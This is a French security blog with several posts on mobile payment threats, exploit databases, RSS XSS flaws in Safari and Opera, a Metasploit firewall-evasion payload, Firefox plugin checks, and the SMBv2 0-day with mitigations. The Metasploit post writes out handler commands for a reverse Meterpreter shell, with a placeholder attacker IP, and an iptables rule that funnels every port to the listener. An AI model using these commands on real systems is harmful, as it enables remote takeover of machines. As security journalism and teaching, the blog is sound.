Subscribe to Feeds

Me contacter :

Nicolas Kerschenbaum

le paiement mobile... ou la prochaine menace sur smartphone

Les offres de paiement sur mobile commencent de plus en plus à se démocratiser.
Dernièrement c'est Google qui vient de mettre à disposition son système Google Wallet permettant de payer directement avec un téléphone. Pour le moment, ce service n'est compatible qu'avec le téléphone Nexus S 4G sur le réseau de l'opérateur américain Sprint.


Concrètement ce système de paiement repose sur la norme NFC (Near Field Communication). Celle-ci est une extension de celle utilisée par la RFID permettant de communiquer sans fil entre deux équipements séparés d'une distance de 10 centimètres au maximum.

Apple devrait mettre à disposition un système équivalent sur ses iPhone courant 2012 (peut être avec la commercialisation de l'iPhone 5 ?). Pour Apple, l'intégration devrait être plus simple du fait que les possesseurs de l'iPhone ont en principe, déjà leur numéro de carte bancaire stocké avec leur compte iTunes...

Le Wallet de Google fonctionne tel un portefeuille numérique classique, nécessitant de déchiffrer le contenu (ie les informations bancaires) via un code PIN. Ce code n'est composé que de 4 chiffres pour le moment...
Les informations bancaires chiffrées sont quant à elles stockées au sein d'une puce spécifique du téléphone et sont en principe uniquement accessibles par des programmes stockés directement sur cette même puce.

Toutefois, la mise en place d'un tel service pose quand même quelques problématiques de sécurité.
En effet, rappelons que les attaques sur smartphones sont en constantes augmentation.

On connait déjà les malwares qui hookent le service SMS afin d’effectuer des virements bancaires. Ils récupèrent le code OTP (One Time Password) envoyé par la banque pour valider la transaction.

Dans les prochains mois, on pourrait voir l'apparition de malwares beaucoup plus évolués.

Pour cela, plusieurs vecteurs d'attaque sont envisageables. On pourrait par exemple imaginer l'installation d'une application malicieuse, depuis le Market ou via l'exploitation d'une vulnérabilité au sein du navigateur internet, qui afficherait un fausse demande de déverrouillage du Wallet au prochain achat.
Les coordonnées GPS du téléphone ainsi que le code PIN seraient envoyées au pirate, qui n'aurait plus qu'à subtiliser le téléphone en question.

Si le téléphone a été rooté, je n'ose même pas imaginer les dégâts...
Un hook du programme de lecture du wallet permettrait d'extraire les données bancaires et de les envoyer aux pirates. Une duplication de la carte virtuelle pourrait donc potentiellement être réalisable. Reste à voir comment l'implémentation a été faite réellement.

Notons toutefois, qu'en cas de vol du téléphone, il sera toujours possible de révoquer la carte bancaire virtuelle.

J'attends impatiemment le lancement de ce service en France afin de pouvoir l'étudier plus en profondeur.

Hakin9, le magazine est maintenant disponible gratuitement sur Internet

Voici une annonce qui va en réjouir plus d'un: le magazine Hakin9 est désormais téléchargeable gratuitement au format PDF sur le site Internet de l'éditeur.

Rappelons le, Hakin9 délivre des articles plus ou moins techniques sur des sujets variés en rapport avec la sécurité informatique. Deux versions du magazine existent, une française et une anglaise traitant d'articles totalement différents.

Seuls certains extraits des numéros étaient téléchargeables gratuitement. La direction va aujourd'hui plus loin en proposant dorénavant chaque mois, un magazine au format numérique.
Afin de profiter de cette offre, il suffit simplement de s'inscrire à leur newsletter. Le premier numéro est d'ailleurs disponible en français et en anglais


Je profite également de ce billet pour vous présenter le récent magazine HITB, lui aussi disponible gratuitement.


Rédigé en anglais, le magazine en est à son deuxième numéro depuis sa reprise. Profitant de la notoriété des célèbres conférences Hack In The Box, il délivre un contenu intéressant et attractif. Je ne serais vous le recommander.

Bonne lecture =]

Exploit-db.com, le nouveau site de référence pour les codes d'exploitation



Le célèbre site Milw0rm a beaucoup fait parler de lui ces derniers temps. Ce site, véritable référence en terme de code d'exploitation avait suscité la polémique depuis qu'il n'était plus à jour, allant même jusqu'à indiquer que son webmaster, str0ke, était décédé [1].
Suite à cette nouvelle, de nombreux sites ont voulu reprendre le flambeau. On peut tout d'abord citer le site inj3ct0r [2], qui a voulu s'imposer en copiant le site de Milw0rm de toutes pièces.


Site inj3ct0r basé sur le même design que celui de Milw0rm


Finalement, c'est vers l'équipe d'Offensive-Computing [3] que le fondateur de Milw0rm s'est officiellement tourné afin de continuer à proposer un service de qualité.
Rappelons qu'Offensive-Conputing met déjà à disposition une base de virus impressionnante et très utile pour effectuer des analyses.
Afin de mettre à disposition le nouveau service de référencement de code d'exploitation, un site internet [4] vient d'être mis en ligne spécialement pour l'occasion. Il profite d'un design clair et agréable qui pique un peu moins les yeux :D


Le nouveau site exploit-db.com successeur de Milw0rm


De nouvelles fonctionnalités sont apparues comme la possibilité de télécharger directement une version vulnérable au code d'exploitation proposé. La recherche a également été revue afin d'affiner les résultats suivant la plateforme affectée ou le type d'exploitation (distante, locale...), permettant un réel gain de temps.

Pour conclure, le site Milw0rm n'est plus maintenu, mais ce n'est pas une si mauvaise chose. Malgré le fait que son webmaster fût un membre très actif dans la recherche de vulnérabilité et dans le développement de code d'exploitation, de nouvelles personnes vont maintenant pouvoir s'impliquer dans ce projet et vont surement susciter l'intérêt de toute la communauté.



Webographie

[1] http://bl4cksecurity.blogspot.com/2009/11/str0ke-milworms-funeral-is-this-friday.html
[2] http://inj3ct0r.com
[3] http://www.offensive-security.com/blog/backtrack/exploit-the-day-after/
[4] http://www.exploit-db.com

Opera et les attaques de Cross-Site Scripting (XSS) via les flux RSS


Les flux RSS sont de plus en plus utilisés sur Internet. Ayant largement participé à la révolution du web 2.0, ce système permet aux utilisateurs de s'abonner afin d'être prévenu de tout nouveau contenu sur un site Internet, la plupart du temps s'agissant d'un nouvel article (je vous invite d'ailleurs à vous abonner à mon flux RSS =)

Les flux RSS sont souvent diffusés au format RSS ou Atom. Ces deux formats ne sont pas spécialement concurrents, ils offrent un même contenu, mais en utilisant une structure différente.
Le RSS 2.0, format le plus répandu, demeure figé dans son développement et n'est pas assez souple dans certains cas spécifiques. C'est cette souplesse qui a été apportée au format Atom qui propose plus d'innovation.

Ces flux RSS peuvent contenir des informations affichées au format HTML au sein d'une architecture XML.

De nos jour, quasiment tous les navigateurs Internet proposent un lecteur de flux RSS, nous pouvons donc nous demander si l'ensemble du code HTML contenu dans ces flux est interprété par le navigateur lors de la visualisation... et la réponse est parfois oui, comme le montre la récente vulnérabilité dans Opera.

En février dernier, c'était Safari qui souffrait d'une faille de type "Cross-Site Scripting" (XSS) [1]. Lorsque le flux RSS contenait du code JavaScript, celui-ci était exécuté par le navigateur, il était alors possible de voler des fichiers stockés sur l'ordinateur...

La preuve de concept suivante permettait de récupérer le contenu du fichier C:/WINDOWS/win.ini en incitant simplement un utilisateur à visualiser un flux RSS 2.0 :


Code source d'un flux RSS malicieux pour le navigateur Safari 

Le code est disponible sur pastebin à l'adresse suivante : http://pastebin.com/f133c1f70


Aujourd'hui c'est Opera qui est également touché par une vulnérabilité XSS [2], mais cette fois via les flux Atom. Cette faille de sécurité affecte les versions 10.00 du navigateur, mais après quelques recherches, la faille de sécurité a mal été corrigée et est toujours exploitable sur les dernières versions (10.10b1)... Notons d'ailleurs que les versions 9.5.x sont également vulnérables.

La faille de sécurité provient d'un manque de contrôle sur certaines balises et attributs HTML. Il est possible de placer du code JavaScript afin que ce dernier soit exécuté par le navigateur. Des requêtes Ajax (via l'objet XMLHttpRequest), ou l'appel à des fonctions internes du navigateur peuvent donc être réalisés.

En incitant un utilisateur à visualiser un flux RSS Atom malicieux, un pirate peut forcer le lecteur RSS d'Opera à s'abonner à des flux RSS sans même demander confirmation à l'utilisateur, ceci grâce à la fonction opera.feeds.subscribeNative().

Quatre manières d'exécuter du code JavaScript par le biais d'un flux Atom ont été découvertes et sont présentées ci-dessous:


Flux Atom malicieux permettant d'ajouter des flux RSS à l'insu d'un utilisateur

Le code est disponible sur pastebin à l'adresse suivante : http://pastebin.com/f63c2fdfb


Une vidéo présentant cette faille de sécurité est disponible ci-dessous et permet de visualiser le déroulement de l'attaque:




Bien que le fait d'ajouter des flux RSS à un utilisateur n'ait peu d'intérêt en soi, d'autres attaques plus poussées peuvent être dramatiques. Un pirate pourrait voler des documents stockés sur un ordinateur, visualiser le contenu des pages web ouvertes dans d'autres onglets, ou encore changer la configuration du navigateur.

On sous-estime souvent la portée des attaques XSS non permanente, qui une fois exécutées avec les droits de la zone locale, contournent les principales restrictions de sécurité, ce qui laisse libre court à l'imagination du pirate...



Webographie

[1] http://xs-sniper.com/blog/2009/02/13/stealing-more-files-with-safari/
      http://xs-sniper.com/blog/2009/06/09/safari-322-feed-protocol-handler-issues/
[2] http://securethoughts.com/2009/10/hijacking-operas-native-page-using-malicious-rss-payloads/

Metasploit se dote d'un payload permettant de tirer profit d'une mauvaise configuration Firewall

Du nouveau dans Metasploit ...
Rappelons-le, le célèbre framework d'exploitation Metasploit [1] permet principalement de tester et exploiter des vulnérabilités, aussi bien sur un système d'exploitation que sur un logiciel donné.

Deux composantes primordiales constituent ce framework : les codes d'exploitations, qui tirent profit des différentes vulnérabilités découvertes, et la charge utile: le payload, permettant d'exécuter le code désiré une fois la vulnérabilité exploitée.
Les payloads permettent de réaliser de nombreuses opérations telles que la mise en place d'un serveur VNC pour prendre le contrôle de la machine vulnérable en mode graphique, l'ajout d'un utilisateur sur le système, l'exécution d'un invité de console avancé tel que Meterpreter, etc.


Framework Metasploit

Ce framework vient d'intégrer récemment un nouveau payload [2] particulièrement intéressant. Ce dernier permet de jouer avec les règles du firewall afin d'abuser de règles trop laxistes.

En effet, les règles des firewalls au sein des entreprises sont au départ minutieusement étudiées de sorte qu'aucun flux non désiré ne puisse transiter à travers celui-ci. Les utilisateurs ne peuvent donc pas accéder à des ressources qui ne leur sont pas destinées, ou à utiliser des logiciels non désirés.
Cependant, au fil du temps, les impératifs métier ou les environnements de test nécessitent l'ouverture en urgence de certains flux, la plupart du temps assez laxistes, pour que tout soit fonctionnel le plus vite possible. Cependant, une fois les maquettes terminées, il n'est pas rare que certaines règles persistent au sein de la configuration du firewall.

Ce payload permet justement de tirer profit de ces règles oubliées ou mal conçues, afin d'obtenir un moyen de contrôle sur une machine présentant une faille de sécurité.


Lorsqu'un attaquant compromet une machine, deux possibilités s'offrent à lui pour s'y connecter et interagir avec elle. Tout d'abord le bind_shell. Cette méthode ouvre un port sur la machine compromise pour que l'attaquant se connecte sur celui-ci. Si la machine vulnérable est derrière un pare-feu ou un routeur, le port désiré ne sera donc pas forcément accessible par l'attaquant.


Notons égallement que les payloads de Metasploit utilisent le port 4444 par défaut. Ce port n'étant pas un port fréquemment utilisé et a de grandes chances d'être bloqué par un firewall situé entre la machine de l'attaquant et la machine vulnérable.




Principe du bind shell


Dans ce cas-là, il est préférable d'utiliser le reverse_shell. La technique consiste à forcer la machine compromise à se connecter sur la machine de l'attaquant plutôt que l'inverse. Cette méthode permet dans de nombreux cas de contourner le problème du routeur, voire du Firewall.

Cependant, que faire si le firewall bloque également ce flux sortant ?




Principe du reverse shell 


Un code malicieux a été exécuté sur la machine compromise, mais il n'est pas possible d'obtenir une interaction avec celle-ci : le résultat des commandes soumises par l'attaquant ne peut pas être visualisé... plutôt frustrant non ?

L'attaquant peut évidemment tenter d'utiliser les ports les plus communs tels que le 21, 22, 23, 53, 80, 110, 143, 443... mais passera surement à côté d'une règle autorisant un port exotique.

C'est là qu'intervient le nouveau payload windows/*/reverse_tcp_allports. Il permet de découvrir de façon automatique les ports non bloqués en sortie par le firewall.

Le payload windows/*/reverse_tcp_allports va forcer la machine compromise à se connecter sur le port 4444 de la machine de l'attaquant. Si ce port n'est pas joignable, il va alors tenter de joindre successivement et de façon exhaustive la machine de l'attaquant en partant du port numéro 1 jusqu'au 65535.

Pour cela, l'attaquant va tout d'abord mettre en écoute l'intégralité des ports d'une machine qu'il contrôle, afin de recevoir la session provenant de la machine compromise.
msf> use exploit/multi/handler
msf (exploit/handler) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
msf (exploit/handler) > set LHOST ip.ip.ip.ip
msf (exploit/handler) > set LPORT 4444
msf (exploit/handler) > exploit -j
Évidemment, la machine de l'attaquant ne peut pas mettre l'ensemble de ses ports en écoute, c'est pourquoi il est nécessaire d'utiliser une seconde machine dédiée à cette tache.
La règle iptables suivante permet par exemple de rediriger l'ensemble des flux arrivant sur la machine dédiée, vers le port 4444 de la machine de l'attaquant.
# iptables -I INPUT -p tcp -m state --state NEW -d ip1.ip1.ip1.ip1 -j DNAT --to ip2.ip2.ip2.ip2:4444
ip1.ip1.ip1.ip1 est l'adresse ip de la machine dédiée à la réception des ports non bloqués par le firewall, tandis que ip2.ip2.ip2.ip2 est l'adresse ip de la machine de l'attaquant.

L'option set DisablePayloadHandler du nouveau payload permet de définir la configuration à adopter en fonction de la machine sur laquelle l'attaquant se situe (machine dédiée à l'écoute, ou machine de l'attaquant). Cette option aura alors la valeur true sur la machine de l'attaquant contrairement à la machine en écoute.



Principe du nouveau payload intégré à Metasploit 


Cette méthode est particulièrement intéressante d'un point de vue théorique, mais comporte toutefois un inconvénient de taille: sa lenteur !

En effet, afin de détecter un port bloqué, plus d'une minute peut être nécessaire. Ainsi, il faut parfois attendre plusieurs heures avant de découvrir un port autorisé par une règle laxiste...



Webographie

[1] http://www.metasploit.com/framework/
[2] http://blog.metasploit.com/2009/09/forcing-payloads-through-restrictive.html
[3] http://clinicallyawesome.com/post/196352889/blind-connect-back-through-restrictive-firewall

Firefox va encore plus loin dans l'analyse des versions obsolètes de plug-ins

Après le succès de son opération [1] visant à avertir les utilisateurs d'une version obsolète du lecteur Adobe Flash Player, Mozilla compte étendre cette action aux plug-ins les plus utilisés.

Rappelons-le, Firefox a lancé depuis ses versions 3.5.3 et 3.0.14, une campagne de prévention. Lorsqu'un utilisateur met à jour son navigateur Firefox, il est redirigé sur une page du site Mozilla lui indiquant que son navigateur a bien été mis à jour. A présent, Mozilla ne se contente plus de donner cette unique information, mais vérifie également si la version du lecteur Flash est à jour. Le plug-in Flash, fourni par Adobe, équipe près de 99% [2] des navigateurs. De nombreuses vulnérabilités critiques affectent des versions obsolètes, et sont la plupart du temps exploitées à des fins malicieuses (téléchargement de malware à l'insu de l'utilisateur).

Cette campagne d'avertissement a permis en seulement une semaine de mettre à jour près de 10 millions de lecteurs Flash sur les navigateurs internet [3] ! Un succès incontestable pour Mozilla...



10 000 000 d'utilisateurs sont allés sur le site d'Adobe via cette opération


Face à ce succès, Mozilla ne compte pas en rester là... La version 3.6 de Firefox permettra de vérifier de nombreux autres plug-ins tels que VLC, Java, Quicktime, Adobe Acrobat, Adobe Reader, ou encore Realplayer.
Une page de démonstration est dès à présent disponible [4] afin de tester ces futures fonctionnalités.




Page permettant de visualiser les plug-ins obsolètes installés


Mozilla propose une excellente solution permettant aux utilisateurs de mettre simplement à jour leurs plug-ins.
En effet, tous les plug-ins ne possèdent pas des mises jour automatiques et il est parfois difficile de savoir si la version utilisée est la plus récente.
Grâce à ce système, les navigateurs sont à présent un pilier dans la politique de patch management. Espérons que d'autres navigateurs Internet reprendront cette idée.



Webographie

[1] http://security-wave.blogspot.com/2009/09/les-nouvelles-versions-de-firefox.html
[2] http://www.adobe.com/products/player_census/flashplayer/
[3] http://blog.mozilla.com/metrics/2009/09/16/helping-people-upgrade-flash/
[4] http://www.mozilla.com/en-US/plugincheck/

Un 0-day dans le protocole SMBv2 permet de prendre le contrôle à distance d'un système Windows (Vista, 2008, 7)



Le 7 septembre, une vulnérabilité 0-day a été découverte au sein du protocole SMBv2[1] (Server Message Block version 2). Ce protocole, implémenté sur les systèmes Vista, serveur 2008 et Windows 7, est utilisé pour le partage de fichiers et d'imprimantes.

Cette faille de sécurité, découverte par Laurent Gaffié[2] grâce à une attaque de fuzzing, est considérée comme critique.

En effet, celle-ci est exploitable à distance et permet d'exécuter un code malicieux avec les droits SYSTEM (administrateur). L'ironie vient du fait qu'elle a été introduite suite à la mise en place du correctif KB942624 (MS07-063) corrigeant une précédente faille de sécurité au sein de ce même protocole.

Cette vulnérabilité provient d'une mauvaise gestion des requêtes NEGOTIATE PROTOCOL par le pilote SRV2.SYS. Les requêtes NEGOTIATE PROTOCOL sont envoyées au serveur SMB dans le but d'identifier le dialecte SMB utilisé.
La faille de sécurité peut être provoquée lorsque le champ Process Id High contient un caractère "&", il est alors possible de provoquer un déréférencement de pointeur

Même si pendant plus d'une semaine seul un déni de service (DoS) avait été démontré provoquant le célèbre blue screen of death (BSoD)[3], plusieurs chercheurs ont prouvé qu'il était possible d'exécuter du code malicieux à distance.


 Ecran bleu provoqué lors de l'exploitation 


Les recherches ont tout d'abord débuté sur le blog vrt-sourcefire[4], mais la preuve de concept la plus aboutie vient de notre expert français Kostya Kortchinsky[5] qui réussi à exploiter cette faille de sécurité pour élever les privilèges d'un utilisateur local sur un système Vista à jour.
Le lendemain il réussit à modifier le code d'exploitation de sorte à pouvoir prendre le contrôle distant sur un système Windows Vista et Windows Serveur 2008 SP2.
Il indique que cette vulnérabilité est vraiment critique puisqu'un qu'un ver pourrait l'utiliser afin de se diffuser facilement (reste qu'en entreprise les Vista et Serveur 2008 ça ne court par les rues...).

Notons toutefois que les différents codes d'exploitation ne sont pas disponibles publiquement, mais sont uniquement intégrés au framework d'exploitation payant Canvas[6]. Une vidéo de l'exploitation sur ce framework est disponible [7].


Utilisation du code d'exploitation sur le framework Canvas 


UPDATE (04/10/2009):
Un code d'exploitation est maintenant disponible dans le framework d'exploitation gratuit Metasploit (trunk) [10].


Comment se protéger ?

En attendant que Microsoft publie un correctif, plusieurs actions peuvent être réalisées afin de remédier à cette vulnérabilité.

Tout d'abord, il est possible de désactiver le protocole SMBv2. Pour cela, il faut mettre la valeur de la clé de registre HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\smbv2 à 0 puis redémarrer le service Server. Microsoft propose un script permettant de réaliser automatiquement cette opération [8].

Il est également possible de bloquer les ports utilisés par le SMB (TCP 139 et TCP 445) par le firewall.

A noter qu'une règle Snort est disponible (15930) [9]

UPDATE (13/10/2009):
Microsoft corrige les 2 vulnérabilités avec le correctif proposé dans le bulletin MS09-050 [11].


Webographie

[1]   http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0
[2]   http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html
[3]   http://fr.wikipedia.org/wiki/Bsod
[4]   http://vrt-sourcefire.blogspot.com/2009/09/smbv2-quotes-dos-quotes.html
[5]   http://expertmiami.blogspot.com/2009/09/exploitation-de-la-vulnerabilite-smbv2.html
        http://expertmiami.blogspot.com/2009/09/quelques-pensees-en-vrac-sur-la.html
        http://expertmiami.blogspot.com/2009/09/exploit-smbv2-distant-pour-vista.html
        http://expertmiami.blogspot.com/2009/09/bonne-nouvelle-du-jour.html
[6]   http://www.immunityinc.com/ceu-index.shtml
[7]   http://www.immunityinc.com/documentation/smb2.html
[8]   http://support.microsoft.com/kb/975497
[9]   http://www.snort.org/vrt/docs/ruleset_changelogs/CURRENT/changes-2009-09-17.html
[10] http://blog.metasploit.com/2009/10/smb2-351-packets-from-trampoline.html
[11] http://www.microsoft.com/france/technet/security/bulletin/ms09-050.mspx